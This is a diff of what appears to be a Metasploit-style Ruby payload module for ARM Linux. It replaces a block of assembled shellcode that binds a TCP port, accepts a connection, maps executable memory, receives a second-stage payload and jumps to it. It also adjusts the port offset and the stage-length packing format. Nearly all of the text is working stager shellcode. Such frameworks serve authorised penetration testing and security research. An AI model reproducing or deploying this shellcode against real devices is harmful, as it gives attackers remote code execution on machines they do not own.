@@ -35,72 +35,68 @@ def initialize(info = {})
35
35
{
36
36
'Offsets' =>
37
37
{
38
- 'LPORT' => [ 224 , 'n' ] ,
38
+ 'LPORT' => [ 226 , 'n' ] ,
39
39
} ,
40
40
'Payload' =>
41
41
[
42
- 0xe59f70e0 , # ldr r7, [pc, #224] ; 813c <last+0x20>
43
- 0xe3a00002 , # mov r0, #2
44
- 0xe3a01001 , # mov r1, #1
45
- 0xe3a02006 , # mov r2, #6
46
- 0xef000000 , # svc 0x00000000
47
- 0xe1a0c000 , # mov ip, r0
48
- 0xe2877001 , # add r7, r7, #1
49
- 0xe28f10bc , # add r1, pc, #188 ; 0xbc
50
- 0xe3a02010 , # mov r2, #16
51
- 0xef000000 , # svc 0x00000000
52
- 0xe2877002 , # add r7, r7, #2
53
- 0xe1a0000c , # mov r0, ip
54
- 0xef000000 , # svc 0x00000000
55
- 0xe2877001 , # add r7, r7, #1
56
- 0xe1a0000c , # mov r0, ip
57
- 0xe0411001 , # sub r1, r1, r1
58
- 0xe1a02001 , # mov r2, r1
59
- 0xef000000 , # svc 0x00000000
60
- 0xe1a0c000 , # mov ip, r0
61
- 0xe24dd004 , # sub sp, sp, #4
62
- 0xe2877006 , # add r7, r7, #6
63
- 0xe1a0100d , # mov r1, sp
64
- 0xe3a02004 , # mov r2, #4
65
- 0xe3a03000 , # mov r3, #0
66
- 0xef000000 , # svc 0x00000000
67
- 0xe59d1000 , # ldr r1, [sp]
68
- 0xe59f307c , # ldr r3, [pc, #124] ; 8140 <last+0x24>
69
- 0xe0011003 , # and r1, r1, r3
70
- 0xe3a02001 , # mov r2, #1
71
- 0xe1a02602 , # lsl r2, r2, #12
72
- 0xe0811002 , # add r1, r1, r2
73
- 0xe3a070c0 , # mov r7, #192 ; 0xc0
74
- 0xe3e00000 , # mvn r0, #0
75
- 0xe3a02007 , # mov r2, #7
76
- 0xe59f3060 , # ldr r3, [pc, #96] ; 8144 <last+0x28>
77
- 0xe1a04000 , # mov r4, r0
78
- 0xe3a05000 , # mov r5, #0
79
- 0xef000000 , # svc 0x00000000
80
- 0xe59f7054 , # ldr r7, [pc, #84] ; 8148 <last+0x2c>
81
- 0xe1a01000 , # mov r1, r0
82
- 0xe1a0000c , # mov r0, ip
83
- 0xe3a03000 , # mov r3, #0
84
- 0xe59d2000 , # ldr r2, [sp]
85
- 0xe2422ffa , # sub r2, r2, #1000 ; 0x3e8
86
- 0xe58d2000 , # str r2, [sp]
87
- 0xe3520000 , # cmp r2, #0
88
- 0xda000002 , # ble 811c <last>
89
- 0xe3a02ffa , # mov r2, #1000 ; 0x3e8
90
- 0xef000000 , # svc 0x00000000
91
- 0xeafffff7 , # b 80fc <loop>
92
- 0xe2822ffa , # add r2, r2, #1000 ; 0x3e8
93
- 0xef000000 , # svc 0x00000000
94
- 0xe1a0f001 , # mov pc, r1
95
- 0xe3a07001 , # mov r7, #1
96
- 0xe3a00001 , # mov r0, #1
97
- 0xef000000 , # svc 0x00000000
98
- 0x5c110002 , # .word 0x5c110002
99
- 0x00000000 , # .word 0x00000000
100
- 0x00000119 , # .word 0x00000119
101
- 0xfffff000 , # .word 0xfffff000
102
- 0x00001022 , # .word 0x00001022
103
- 0x00000123 # .word 0x00000123
42
+ 0xe59f70d4 , # ldr r7, [pc, #212] ; 8130 <last+0x14>
43
+ 0xe3a00002 , # mov r0, #2
44
+ 0xe3a01001 , # mov r1, #1
45
+ 0xe3a02006 , # mov r2, #6
46
+ 0xef000000 , # svc 0x00000000
47
+ 0xe1a0c000 , # mov ip, r0
48
+ 0xe2877001 , # add r7, r7, #1
49
+ 0xe28f10b0 , # add r1, pc, #176 ; 0xb0
50
+ 0xe3a02010 , # mov r2, #16
51
+ 0xef000000 , # svc 0x00000000
52
+ 0xe2877002 , # add r7, r7, #2
53
+ 0xe1a0000c , # mov r0, ip
54
+ 0xef000000 , # svc 0x00000000
55
+ 0xe2877001 , # add r7, r7, #1
56
+ 0xe1a0000c , # mov r0, ip
57
+ 0xe0411001 , # sub r1, r1, r1
58
+ 0xe1a02001 , # mov r2, r1
59
+ 0xef000000 , # svc 0x00000000
60
+ 0xe1a0c000 , # mov ip, r0
61
+ 0xe24dd004 , # sub sp, sp, #4
62
+ 0xe2877006 , # add r7, r7, #6
63
+ 0xe1a0100d , # mov r1, sp
64
+ 0xe3a02004 , # mov r2, #4
65
+ 0xe3a03000 , # mov r3, #0
66
+ 0xef000000 , # svc 0x00000000
67
+ 0xe59d1000 , # ldr r1, [sp]
68
+ 0xe59f3070 , # ldr r3, [pc, #112] ; 8134 <last+0x18>
69
+ 0xe0011003 , # and r1, r1, r3
70
+ 0xe3a02001 , # mov r2, #1
71
+ 0xe1a02602 , # lsl r2, r2, #12
72
+ 0xe0811002 , # add r1, r1, r2
73
+ 0xe3a070c0 , # mov r7, #192 ; 0xc0
74
+ 0xe3e00000 , # mvn r0, #0
75
+ 0xe3a02007 , # mov r2, #7
76
+ 0xe59f3054 , # ldr r3, [pc, #84] ; 8138 <last+0x1c>
77
+ 0xe1a04000 , # mov r4, r0
78
+ 0xe3a05000 , # mov r5, #0
79
+ 0xef000000 , # svc 0x00000000
80
+ 0xe2877063 , # add r7, r7, #99 ; 0x63
81
+ 0xe1a01000 , # mov r1, r0
82
+ 0xe1a0000c , # mov r0, ip
83
+ 0xe3a03000 , # mov r3, #0
84
+ 0xe59d2000 , # ldr r2, [sp]
85
+ 0xe2422ffa , # sub r2, r2, #1000 ; 0x3e8
86
+ 0xe58d2000 , # str r2, [sp]
87
+ 0xe3520000 , # cmp r2, #0
88
+ 0xda000002 , # ble 811c <last>
89
+ 0xe3a02ffa , # mov r2, #1000 ; 0x3e8
90
+ 0xef000000 , # svc 0x00000000
91
+ 0xeafffff7 , # b 80fc <loop>
92
+ 0xe2822ffa , # add r2, r2, #1000 ; 0x3e8
93
+ 0xef000000 , # svc 0x00000000
94
+ 0xe1a0f001 , # mov pc, r1
95
+ 0x5c110002 , # .word 0x5c110002
96
+ 0x00000000 , # .word 0x00000000
97
+ 0x00000119 , # .word 0x00000119
98
+ 0xfffff000 , # .word 0xfffff000
99
+ 0x00001022 # .word 0x00001022
104
100
] . pack ( "V*" )
105
101
106
102
}
@@ -111,7 +107,7 @@ def handle_intermediate_stage(conn, payload)
111
107
112
108
print_status ( "Transmitting stage length value...(#{ payload . length } bytes)" )
113
109
114
- address_format = 'V '
110
+ address_format = 'v '
115
111
116
112
# Transmit our intermediate stager
117
113
conn . put ( [ payload . length ] . pack ( address_format ) )
0 commit comments